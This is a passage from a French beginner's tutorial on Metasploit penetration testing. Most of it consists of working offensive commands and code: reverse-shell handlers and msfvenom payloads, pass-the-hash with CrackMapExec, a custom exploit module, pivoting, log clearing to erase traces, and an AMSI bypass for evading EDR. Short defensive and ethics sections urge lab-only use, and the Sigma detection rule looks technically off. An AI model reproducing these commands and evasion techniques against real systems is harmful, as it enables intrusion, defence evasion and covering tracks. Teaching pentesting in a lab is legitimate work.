Ajoutesocks5 127.0.0.1 1080dans/etc/proxychains.conf. - Torification : Utilise Tor pour les tests sensibles :
torsocks msfconsole - User-Agent : Modifie l’en-tête HTTP pour ressembler à un navigateur légitime :
set UserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
Nettoyage post-exploit
Efface tes traces pour simuler un attaquant pro :
- Logs : Supprime les journaux d’événements :
meterpreter > clearev - Journalisation Windows : Désactive temporairement :
meterpreter > run event_manager -c
Automatisation
Gagne du temps avec des scripts Metasploit (.rc) :
# exploit.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
set ExitOnSession false
exploit -j
Lance avec : msfconsole -r exploit.rc
Outils externes
Enrichis tes attaques :
- CrackMapExec : Pivote via SMB/AD :
crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH --exec-method smbexec - BloodHound : Cartographie Active Directory :
meterpreter > run post/windows/gather/enum_ad
Pour les newbies : Ces techniques te rendent “invisible” dans ton lab. ProxyChains, c’est comme un VPN pour tes attaques, et nettoyer les logs, c’est comme effacer tes empreintes.
Étape 5 : Modules Custom & Développement
Crée tes propres outils pour aller au-delà de Metasploit :
Module Metasploit Custom (Ruby)
Exemple de module pour un exploit fictif (sauve dans /usr/share/metasploit-framework/modules/exploits/custom/http_header_rce.rb) :
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom RCE via HTTP Header Injection',
'Description' => %q{ Exploit via X-Forwarded-For malformé },
'Targets' => [['Windows 10', { 'Offset' => 1234 }]],
'Platform' => 'win',
'Arch' => ARCH_X64
))
end
def exploit
connect
print_status("Sending malicious header...")
sock.put("X-Forwarded-For: #{payload.encoded}\r\n\r\n")
handler
disconnect
end
end
Utilise avec : use exploit/custom/http_header_rce
Automatisation Python
Appelle Metasploit depuis Python pour automatiser :
import subprocess
def run_msf_exploit():
cmd = [
'msfconsole', '-q', '-x',
'use exploit/multi/handler; '
'set PAYLOAD windows/powershell/reverse_tcp; '
'set LHOST 192.168.1.6; '
'set LPORT 4444; '
'exploit -j'
]
subprocess.run(cmd)
run_msf_exploit()
Pour les newbies : Un module custom, c’est comme coder ta propre arme pour Metasploit. Le script Python, c’est comme un robot qui lance tes attaques.
Étape 6 : Pivoting Avancé
Traverse les réseaux comme un pro pour atteindre des cibles cachées :
Port Forwarding Dynamique
Redirige le trafic via une machine compromise :
meterpreter > portfwd add -R -L 192.168.1.6 -l 8080 -p 80 -r 10.10.10.10
ProxyChains
Utilise un proxy pour masquer ton trafic :
# /etc/proxychains.conf
socks5 127.0.0.1 1080
# Lancer
proxychains msfconsole
SSH Tunneling
Crée un tunnel SSH :
ssh -D 1080 -i id_rsa user@10.10.10.10
Pour les newbies : Pivoter, c’est comme utiliser une machine compromise comme tremplin pour atteindre d’autres cibles dans le réseau.
Étape 7 : Détection & Contournement EDR
Évite les EDR (CrowdStrike, SentinelOne) en 2025 :
Process Hollowing
Injecte ton payload dans un processus légitime (ex. : explorer.exe) :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f raw -o payload.bin
Compile un loader C (ex. avec Visual Studio) pour injecter payload.bin.
AMSI Bypass (PowerShell)
Désactive l’antimalware PowerShell :
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
YARA Signatures
Analyse ton payload pour repérer les signatures détectables :
yara -r /path/to/rules.yar /path/to/payload
Pour les newbies : Les EDR sont comme des antivirus avancés. Le process hollowing, c’est cacher ton code dans un programme légitime pour qu’il passe inaperçu.
Étape 8 : Simulation d’Incident & Forensique
Apprends à détecter et analyser tes propres attaques :
Sigma Rules
Exemple pour détecter EternalBlue :
title: EternalBlue Exploit Attempt
logsource:
product: windows
service: security
detection:
selection:
EventID: 4657
ProcessName: "*\\lsass.exe"
condition: selection
Converti en règle SIEM avec sigmac.
Atomic Red Team
Simule une attaque pour tester tes défenses :
atomic-red-team execute -t T1059.001
Pour les newbies : La forensique, c’est jouer au détective cyber. Les Sigma rules, c’est comme des alertes pour repérer les attaques.
Étape 9 : Rapport Professionnel
Rends compte comme un pro avec ce template :
# Pentest Report - [Client]
## Executive Summary
- **Critical Vulnerabilities** : EternalBlue, Log4Shell, RDP Weak Creds.
- **Recommendations** : Patch MS17-010, Enable MFA, Segment Network.
## Technical Details
### Exploits Executed
1. **EternalBlue**
- Command: `use exploit/windows/smb/ms17_010_eternalblue`
- Proof: Screenshot of `hashdump` (see Appendix A).
2. **Log4Shell**
- Command: `use exploit/multi/http/log4j_jndi_rce`
## Appendices
- **Full Commands** : `msfconsole -q -x "use exploit/..."`
- **References** : CVE-2017-0144, MITRE ATT&CK T1190.
Mind Map ASCII
Workflow d’une pentest :
[Pentest Workflow]
|
+---------------+---------------+
| | |
[Recon] [Exploit] [Post-Exploit]
- Nmap - Metasploit - Mimikatz
- SpiderFoot - Custom Scripts - BloodHound
| |
[Reporting] [Persistence]
- Dradis - Meterpreter
- Faraday - Scheduled Tasks
Pour les newbies : Un rapport, c’est comme un compte-rendu pour expliquer ce que t’as trouvé et comment réparer. La mind map, c’est une carte de ton attaque.
Étape 10 : FAQ Légale
Questions fréquentes, réponses nettes :
- Je peux tester mon routeur perso ? Oui, si t’es proprio. Sinon, illégal.
- Réseau public ? Non, c’est un délit. Lab only.
- Le contrat est obligatoire ? Oui, pour accéder au tuto.
- Partager le tuto ? Oui, mais insiste sur l’usage en lab.
Pour les newbies : En cas de doute, consulte un avocat ou une autorité cyber. Mieux vaut poser la question que risquer la prison !
Étape 11 : Éthique – Snipers, pas Criminels
“Metasploit n’est pas une arme, c’est un savoir : exploite peu, protège beaucoup.” Casse des systèmes dans ton lab, mais protège-les dehors. Déclare tes failles (ex. : via CVE), partage le savoir, et sois un Apache droit. Le hacking éthique, c’est snipper avec honneur.
Pas de conneries, Apache ! Hors lab, c’est la prison. Reste dans ton terrain sécurisé.
Pour les newbies : Être éthique, c’est utiliser tes skills pour sécuriser, pas détruire. Pense à un sniper : précis, discret, et toujours du bon côté.